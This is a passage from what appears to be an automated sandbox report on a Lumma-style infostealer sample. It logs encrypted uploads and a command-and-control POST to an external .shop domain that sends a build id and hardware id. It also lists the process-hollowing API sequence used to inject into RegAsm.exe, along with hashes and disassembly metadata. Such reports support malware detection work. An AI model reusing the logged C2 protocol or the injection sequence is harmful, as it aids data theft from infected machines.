2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: fe f0 12 07 cb 37 b9 d0 5a e2 2c 27 33 66 64 a7 2a 5a 4b 90 84 bb 44 71 47 23 ce 6f 9a 50 2d 3a 95 a8 4a cf a9 a8 28 38 dc 8f 17 81 40 c8 d6 c8 60 bd 99 0e 6e f9 b7 70 c2 cd c9 34 63 f3 10 68 0d bb 2e 2d dc 31 51 90 c1 6b 19 6f b9 6f e1 74 b3 39 93 82 be 71 0c d8 ba f1 de 8a e5 f2 83 a9 6d eb 51 d5 24 d3 01 e4 26 55 bf d6 82 82 95 a5 a5 af af 5e 69 b2 1b e7 f8 5c e5 7e 36 95 9a f4 46 ae af 99 01 4f f5 f1 7f 0f 97 90 8f c5 cb 33 ff 1a 85 e6 4f 04 a3 43 24 d7 ba 63 2f fd 34 8f 5a 0f 17 96 3e c1 1b 5f 63 ec cf b3 7f 73 44 d1 69 24 be 4b fd 2a 42 bf 73 50 89 d3 13 f1 ff 78 17 20 05 ec b7 79 a0 08 4a d6 7c 93 f9 41 6e 0d d3 e3 64 ad bf 25 ce 52 da 12 af 7b 8b e9 a3 7e 34 4e 44 e5 75 48 f3 f7 bb 52 8a c7 c3 79 36 8b b8 d5 21 7a ad e4 80 08 cd 2d ae ba ff 7f 59 Data Ascii: 7Z,'3fdZKDqG#oP-:J(8@`np4ch.-1Qkoot9qmQ$&U^i\~6FO3OC$c/4Z>_csDi$KBsPx yJ\|And%R{~4NDuHRy6!z-Y
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: 26 b5 58 9a 52 ed 1a 9c 6f a1 09 f8 d9 3c 52 19 c6 27 a9 92 af c8 6c c9 65 34 bd 1e 56 74 41 66 fa 95 4c a5 df bc 75 ba a9 b3 70 5d 4b d4 37 34 aa c4 19 ed df 27 a9 ee df f6 e6 91 5d 2a c7 f9 3b 71 05 64 a4 c5 a4 05 9c a7 09 b2 2e 15 c5 47 ae b2 bb b6 b2 7d a0 ee 3d 39 3e 00 76 e4 c6 54 3f e5 e3 3a aa 96 a2 82 b1 5b 1f 47 9f ee 97 8b 0a 2e e3 8b 0a 2e 15 e8 13 8d ed db 2c a8 2e 23 a8 1c 5f 54 41 b1 15 53 47 b2 67 3d b7 32 d7 90 26 09 73 87 1b 78 7f 80 ae 7a 01 74 b2 7c 73 4e 2b d1 96 1f d1 87 69 82 71 2b 8b 59 bb 29 bd ec d0 40 6d 42 ef 4e 8d 6e 61 05 8f b5 a9 48 01 92 cb 77 04 86 f3 4a 59 2d a5 af 74 1f 12 48 a8 0d 56 1e e2 0a c1 6c a0 20 b9 87 98 cb 4a 15 2a da e5 14 c6 3e 14 d5 c4 1b fc 78 34 95 b6 27 38 a2 5d c5 bc 6f 67 d6 d9 5f c3 48 12 79 27 bf 76 Data Ascii: &XRo<R'le4VtAfLup]K74'];qd.G}=9>vT?:[G..,.#_TASGg=2&sxzt\|sN+iq+Y)@mBNnaHwJY-tHVl J>x4'8]og_Hy'v
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: b3 7b 7d ae d3 34 18 2e 56 2f 03 94 de b7 25 65 8e 44 7c 7a 71 5c 3a 57 76 a4 e0 2b 1c 30 48 fb 9f de 6b 14 b0 e0 f5 be 6d 30 f5 01 eb 7f 73 94 fb 0e 81 3c 87 da a1 77 c2 78 c9 4b 78 8e bb 91 1d 92 e6 aa 71 50 72 77 ca 37 5f 05 0a 5e 5d 56 bb d7 8b 04 b5 d6 ee c5 90 05 b0 7c 5f 29 b6 b7 a1 a3 08 6a 0f f4 ec 91 26 90 e0 e5 87 48 52 b8 32 a0 fa 1b f0 41 b4 2a c1 e4 cb 54 87 66 c8 45 a1 56 76 f3 0d 9c df f0 1b 41 be fd 28 dd 75 27 73 ad e8 89 cd db bc 9e cd 50 33 c3 d3 9e d0 db 21 7e 6d cb f3 d5 8c 49 cf 3d 70 c6 59 2e 5c 2e 25 34 8a ea 3f 01 c7 25 51 13 a8 ab e4 1c 75 10 d4 2a 4a bf a1 37 0b f6 4d 15 77 90 45 c6 6b 17 b4 3a 97 72 3f d2 cc c7 69 c2 52 61 d0 04 9d ab e4 03 2d 2a 50 1e 34 ef d4 74 58 5f 8d 08 32 1f a2 66 6a 85 03 f8 75 35 bb b6 00 2b 8d 0c 18 Data Ascii: {}4.V/%eD\|zq\:Wv+0Hkm0s<wxKxqPrw7_^]V\|_)j&HR2ATfEVvA(u'sP3!~mI=pY.\.%4?%QuJ7MwEk:r?iRa-*P4tX_2fju5+
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: ea 0c d9 0a e4 b8 5f 81 bd a0 9e 49 0d 41 44 80 30 5b 1b d9 74 4f a1 6e 19 92 fd 7e fc af 50 73 22 bd 4e 2a c3 86 91 ad c3 f2 f8 73 82 ef fb 1f 16 59 0d a9 00 ef fc dc 73 66 57 e2 78 08 a1 de 30 bf 6e d4 72 4f 46 68 93 e1 f6 b9 c5 8f 9d 67 26 11 33 1a 75 2a 7b a1 2e 39 32 06 cc 08 9b d9 69 98 5f 22 a9 95 61 ca af a7 9f fa aa f2 cb 60 f1 03 a0 0b fa 01 d5 82 e0 b1 38 24 fd 0b 4b f6 32 53 76 a8 da f4 2c bd d0 e4 c1 0e 97 1e 07 06 77 85 93 94 ae 3e 78 84 f3 80 4c 95 e0 0e 4f a6 c4 97 d7 c4 08 8e f5 91 b5 ea a3 ab 0b fc 99 f7 ad c8 d0 e3 b4 0e 57 dc 28 b5 71 a4 b2 56 23 dd db ae 66 2b 3b 29 ce 60 9f f1 01 10 a3 af 55 d3 de 2c 3b 51 02 64 96 4c 1c d8 57 c1 c3 85 d9 81 e5 ac b7 60 a9 11 27 db 31 c6 1a 99 3c 3c 2a 4a 1f 9d 8c 5f 97 df 7e cb 36 68 13 cd 98 55 c3 Data Ascii: _IAD0[tOn~Ps"NsYsfWx0nrOFhg&3u{.92i_"a`8$K2Sv,w>xLOW(qV#f+;)`U,;QdLW`'1<<*J_~6hU
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: 97 3d ef 54 d5 65 66 06 ea 02 94 f8 f2 3c bd b8 8a 8c 14 75 e0 16 c8 8e d5 ab 4b ed b0 7f 97 99 ac d4 a2 fa f0 84 62 ce f3 ed 2b 07 8d b4 33 a5 7e a9 71 f2 9c de 95 5e 33 31 7d 10 e0 b8 36 53 06 31 6c cd 48 a1 29 33 08 b0 bf ce f9 e3 8c 38 76 43 5e f6 56 ca d0 f9 c3 f4 33 cc d5 a7 87 38 c1 9f dd ab 18 85 a2 19 87 cd 3a 0b df b6 4f 49 c3 6a 12 cf 7f 04 45 de 77 2e 8b 73 a2 66 69 df d3 b4 20 22 ac 6e b7 5c c8 eb fd 22 e7 5b 60 f4 5b 87 ba 40 d1 a1 d5 04 46 c2 22 eb 98 2e 62 4d 07 40 8b 77 3a 19 f7 ce 1c cd b1 94 cb a9 0f cd c1 48 89 a6 2c 1d d1 e1 ce b6 f3 fd 24 a7 6e 07 75 97 9c dc 95 10 68 b9 77 2e 8f 7e 66 92 dd 57 4e f1 17 3b 14 19 43 8e d9 86 b1 ae 89 66 6c 3e a5 c4 88 3c df 41 dd c7 d7 dd 20 6f fc cc 38 5d ff c5 fa 61 3d 9e c0 e8 9d a9 64 cb fb a5 23 Data Ascii: =Tef<uKb+3~q^31}6S1lH)38vC^V38:OIjEw.sfi "n\"[`[@F".bM@w:H,$nuhw.~fWN;Cfl><A o8]a=d#
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: 91 b0 e1 13 7e 5a f4 36 9e be b9 bd f8 06 88 dd 0e 9c 78 bd 47 f6 8d 15 20 38 cf 63 e8 a8 b0 a5 5e cb da 4e 3d 29 ee a1 eb 76 17 59 62 08 e1 38 74 6a 78 95 24 6e c9 d7 c2 79 12 05 36 73 9d 43 68 01 6e 86 48 c1 79 b0 32 36 35 df e8 30 a5 2b 23 17 f5 ea c9 0d aa f9 a3 1b ee 4c c6 94 0d 66 02 9f bb f1 ab de 0d 44 eb 97 73 10 a8 0f af 44 97 07 c6 ea f7 7d c1 8b a3 45 23 67 c5 e9 28 ec 87 5e 76 06 97 15 ef d3 57 2f ce 16 b3 06 14 46 d4 9f 7a a5 69 68 4c 1c 2d 01 10 42 88 a5 43 4e 8d e2 93 dd 33 ae d1 03 77 42 42 34 97 88 2c 8f df 3a fd 51 fc be f1 83 23 0c d1 14 c5 07 1d a6 1e 04 72 77 2d 4d 5e 23 2b bc 41 a2 e2 c6 26 3a c6 8a af a3 7c 66 13 b5 30 0f 90 69 a2 64 2d 5e 49 0a a5 ce 62 5a 55 f2 fc 14 d2 93 e5 aa 84 68 ed a6 df c1 5c 3a 03 ca 77 0a e1 fd 13 90 a7 Data Ascii: ~Z6xG 8c^N=)vYb8tjx$ny6sChnHy2650+#LfDsD}E#g(^vW/FzihL-BCN3wBB4,:Q#rw-M^#+A&:\|f0id-^IbZUh\:w
2024-06-22 08:17:14 UTC	810	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jfeaj50lmsuco3umaeope55ve1; expires=Wed, 16-Oct-2024 02:03:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b3IELOJjKh7m%2BApFTV3ZsQskPL3TOPEy%2FO4kHMYXCwNqq1DMtlg4tf0IkuOR%2FB7IIemgMi7R0mA2zCJd86StFVokbPySGUUMTTUyOHRnICRQklwinpS4wDFi28TTK37nuBrc8qDvEkAgJhs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897accf7f88032ca-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49711	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:14 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 92 Host: composepayyersellew.shop
2024-06-22 08:17:14 UTC	92	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 79 74 72 26 6a 3d 64 65 66 61 75 6c 74 26 68 77 69 64 3d 43 44 33 42 35 37 35 38 38 31 44 33 35 34 43 42 32 42 39 38 32 43 43 41 38 37 43 43 30 43 38 35 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--@Kulaytr&j=default&hwid=CD3B575881D354CB2B982CCA87CC0C85
2024-06-22 08:17:15 UTC	810	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7t4fag461jbg59s1lr010nks17; expires=Wed, 16-Oct-2024 02:03:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DblOVlWVaf3FByr82yHjYelSOEsl9nQoVirpSFiQau9EDANzpCMp6qqdK8Eq86z30cABDDKSmshJDX2pMWd%2BKJXHaTbHGx%2Fj7RCPY6IFgwsJRXgrDxXwaDbsBxMB92ju6D2mLkMEHXkb%2BF4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897acd03ca6e7ced-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:15 UTC	54	IN	Data Raw: 33 30 0d 0a 6d 6a 46 61 66 71 4f 6f 2b 74 5a 41 44 54 4e 48 31 58 6c 42 36 78 74 62 44 64 55 6b 48 56 59 6a 70 55 69 48 51 58 2f 36 66 68 7a 42 62 41 3d 3d 0d 0a Data Ascii: 30mjFafqOo+tZADTNH1XlB6xtbDdUkHVYjpUiHQX/6fhzBbA==
2024-06-22 08:17:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	04:17:03
Start date:	22/06/2024
Path:	C:\Users\user\Desktop\TS-240622-Lumma4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\TS-240622-Lumma4.exe"
Imagebase:	0xce0000
File size:	611'368 bytes
MD5 hash:	1A2A26995D43C4AD2F2C9E9E9373D5C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:17:03
Start date:	22/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x600000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	1.1%
Signature Coverage:	4.1%
Total number of Nodes:	557
Total number of Limit Nodes:	16

Executed Functions

Function 0144018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,014400FF,014400EF), ref: 014402FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0144030F
Wow64GetThreadContext.KERNEL32(0000012C,00000000), ref: 0144032D
ReadProcessMemory.KERNELBASE(00000130,?,01440143,00000004,00000000), ref: 01440351
VirtualAllocEx.KERNELBASE(00000130,?,?,00003000,00000040), ref: 0144037C
WriteProcessMemory.KERNELBASE(00000130,00000000,?,?,00000000,?), ref: 014403D4
WriteProcessMemory.KERNELBASE(00000130,00400000,?,?,00000000,?,00000028), ref: 0144041F
WriteProcessMemory.KERNELBASE(00000130,-00000008,?,00000004,00000000), ref: 0144045D
Wow64SetThreadContext.KERNEL32(0000012C,02EF0000), ref: 01440499
ResumeThread.KERNELBASE(0000012C), ref: 014404A8

Strings

ress, xrefs: 01440217
GetP, xrefs: 0144020F
aryA, xrefs: 014401D3
ResumeThread, xrefs: 014402C9
CreateProcessA, xrefs: 01440241
Load, xrefs: 014401CB
ReadProcessMemory, xrefs: 0144027A
TerminateProcess, xrefs: 0144038B
GetThreadContext, xrefs: 01440267
VirtualAllocEx, xrefs: 0144028D
VirtualAlloc, xrefs: 01440254
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 014402FB
WriteProcessMemory, xrefs: 014402A0
SetThreadContext, xrefs: 014402B3

Memory Dump Source

Source File: 00000000.00000002.1240775255.0000000001440000.00000040.00001000.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1440000_TS-240622-Lumma4.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: a079414f917c2da9e25d22a52cb012aed0e6ba3821105376ed141648037c5658
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 7EB1E67260024AAFDB60CF68CC80BDA77A5FF88714F158525EA0CAB351D774FA518B94

Function 00CE6E60 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CE1420: __vfwprintf_l.LIBCONCRTD ref: 00CE1441

GetNumberOfEventLogRecords.ADVAPI32(00000000,00000000), ref: 00CE6F56
DeleteAce.ADVAPI32(00000000,00000000), ref: 00CE6F60

Strings

Illkjmuueghu %d, xrefs: 00CE6E93
Error, xrefs: 00CE6EFE

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: DeleteEventNumberRecords__vfwprintf_l
String ID: Error$Illkjmuueghu %d
API String ID: 3473170047-1226156562
Opcode ID: 06df639a1c3de0e7851e7b575940255d62a5e5fd4936e1a3c36a1c2f7a056557
Instruction ID: 8920ba69a7a012961fcefd9b1c5a6c7464bf33a59b07c3ca6ecf639ee8747b88
Opcode Fuzzy Hash: 06df639a1c3de0e7851e7b575940255d62a5e5fd4936e1a3c36a1c2f7a056557
Instruction Fuzzy Hash: 1621ACB0E14388AFDB10DF96DC06BAEBBB0EB18785F104129E511A62C0E7B51A44DBA5

Function 00D0AD74 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff0653eeb44143965b628c24c5007aed4f145a5183fcbf2e8aae4e5a0dd223d7
Instruction ID: 9efb65c24fbcf4106639611e1d5e8ba72686681d3067ba0ba69f754b7b7f812b
Opcode Fuzzy Hash: ff0653eeb44143965b628c24c5007aed4f145a5183fcbf2e8aae4e5a0dd223d7
Instruction Fuzzy Hash: 3AE08C32911228EBCB15DB8CC904A8AF3ECEB85B01B15049AB50AD3141D2B0DE00CBF0

Function 00D052A4 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e2afe15c0e1d107cbf3173c676640590389f1460c1c2578c6602659c9fd8a95
Instruction ID: 22089058b42c74c9a4df75f3982541a7e099452f120d866cad5ca2f11735008b
Opcode Fuzzy Hash: 1e2afe15c0e1d107cbf3173c676640590389f1460c1c2578c6602659c9fd8a95
Instruction Fuzzy Hash: 84C08C34800F0046CE2AC928D271BAA3354EBA1782F880D8CC80A0BAC7D55E9C82DE71

Function 00D15673 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D1532C: CreateFileW.KERNELBASE(?,00000000,?,00D1571C,?,?,00000000,?,00D1571C,?,0000000C), ref: 00D15349

GetLastError.KERNEL32 ref: 00D15787
__dosmaperr.LIBCMT ref: 00D1578E
GetFileType.KERNEL32(00000000), ref: 00D1579A
GetLastError.KERNEL32 ref: 00D157A4
__dosmaperr.LIBCMT ref: 00D157AD
CloseHandle.KERNEL32(00000000), ref: 00D157CD
CloseHandle.KERNEL32(00D0E657), ref: 00D1591A
GetLastError.KERNEL32 ref: 00D1594C
__dosmaperr.LIBCMT ref: 00D15953

Strings

H, xrefs: 00D158D8

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 54912c6765e42ad34659bff6b5dfff2b845698453d73568ed4bc534ed0139479
Instruction ID: 657464e1a90faee532acfd4256c6399b8a6e8e2335aecd16b74d8ebfd72d6ee6
Opcode Fuzzy Hash: 54912c6765e42ad34659bff6b5dfff2b845698453d73568ed4bc534ed0139479
Instruction Fuzzy Hash: 9BA10532A04654EFCF199F68FC517EE3BA1EB46320F180159E815DB3D5DA398882CB71

Function 00CE6AD0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

task.LIBCPMTD ref: 00CE6C4F
task.LIBCPMTD ref: 00CE6CEC
task.LIBCPMTD ref: 00CE6D0D
task.LIBCPMTD ref: 00CE6D18
task.LIBCPMTD ref: 00CE6D23
task.LIBCPMTD ref: 00CE6D2E
task.LIBCPMTD ref: 00CE6D36
task.LIBCPMTD ref: 00CE6D3E

Strings

./endUnemployed.bin, xrefs: 00CE6AE9

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: task
String ID: ./endUnemployed.bin
API String ID: 1384045349-4096467699
Opcode ID: ddc85b709a412f002c860e8d27569cd284472ad445b542ba5646cc0dc4467da2
Instruction ID: 76a82d3d554e726b987f2f2211d3129a522904295bc9237688a779ca36d6483c
Opcode Fuzzy Hash: ddc85b709a412f002c860e8d27569cd284472ad445b542ba5646cc0dc4467da2
Instruction Fuzzy Hash: 1071EDB1D51249AAEB54EB91DC92FEDB378EF14300F508198B51A6B0D1EF702F49DB60

Function 00D097BC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,0EB354B7,?,00D098C9,00000000,00CF15D9,00000000,00000000), ref: 00D0987D

Strings

api-ms-, xrefs: 00D09813
ext-ms-, xrefs: 00D09827

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4bd1cab88d65263689f795c473f64507e1e233c6e5ad94d1013f2d08d75b73ee
Instruction ID: 685d95f78adc4a8567441230fb517e33df0f1e89486bf5ffc59d4f718f546c19
Opcode Fuzzy Hash: 4bd1cab88d65263689f795c473f64507e1e233c6e5ad94d1013f2d08d75b73ee
Instruction Fuzzy Hash: BC210831A41311ABC7219B21DC60B9AB768EF46760F198124E94DE73C2EB30ED01C6F0

Function 00CE69A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,00000000,00CEDEF0), ref: 00CE6A4E
task.LIBCPMTD ref: 00CE6A8A

Part of subcall function 00CE65A0: Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 00CE662A
Part of subcall function 00CE65A0: Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 00CE666C
Part of subcall function 00CE65A0: task.LIBCPMTD ref: 00CE66B3
Part of subcall function 00CE65A0: task.LIBCPMTD ref: 00CE66BB

Strings

0000000006:1@0000000005:@, xrefs: 00CE69B1
MZx, xrefs: 00CE6A7F, 00CE6A84

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: task$Concurrency::task_continuation_context::task_continuation_context$AllocVirtual
String ID: 0000000006:1@0000000005:@$MZx
API String ID: 568153805-4050061166
Opcode ID: bcca83ce428f373c70a93dd0c70d8c049eb6833265ae2c5b55508dc1cc91ff27
Instruction ID: 5f3ce2cef66773521aec097ce1e7b83d2f2a713da406c59df0550d944ecf48e9
Opcode Fuzzy Hash: bcca83ce428f373c70a93dd0c70d8c049eb6833265ae2c5b55508dc1cc91ff27
Instruction Fuzzy Hash: 57217AB1E102589BDF04EFA5DC52BEEB7F0AF58340F504028E905B72D2EA746D04DBA5

Function 00CE62F0 Relevance: 6.1, APIs: 4, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swap.LIBCPMTD ref: 00CE63EE
OffsetRect.USER32(00000000,00000000,00000000), ref: 00CE6485
swap.LIBCPMTD ref: 00CE64B2
Polyline.GDI32(00000000,00000000,00000000), ref: 00CE64C0

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: swap$OffsetPolylineRect
String ID:
API String ID: 1135728635-0
Opcode ID: 7da5b849777f40ca17117358509150bf3785adef875542c1d81ded5200974b30
Instruction ID: 39c98137899a8f8027d9bbd852b1e769ed904cb15e57c696f32caff0364e1215
Opcode Fuzzy Hash: 7da5b849777f40ca17117358509150bf3785adef875542c1d81ded5200974b30
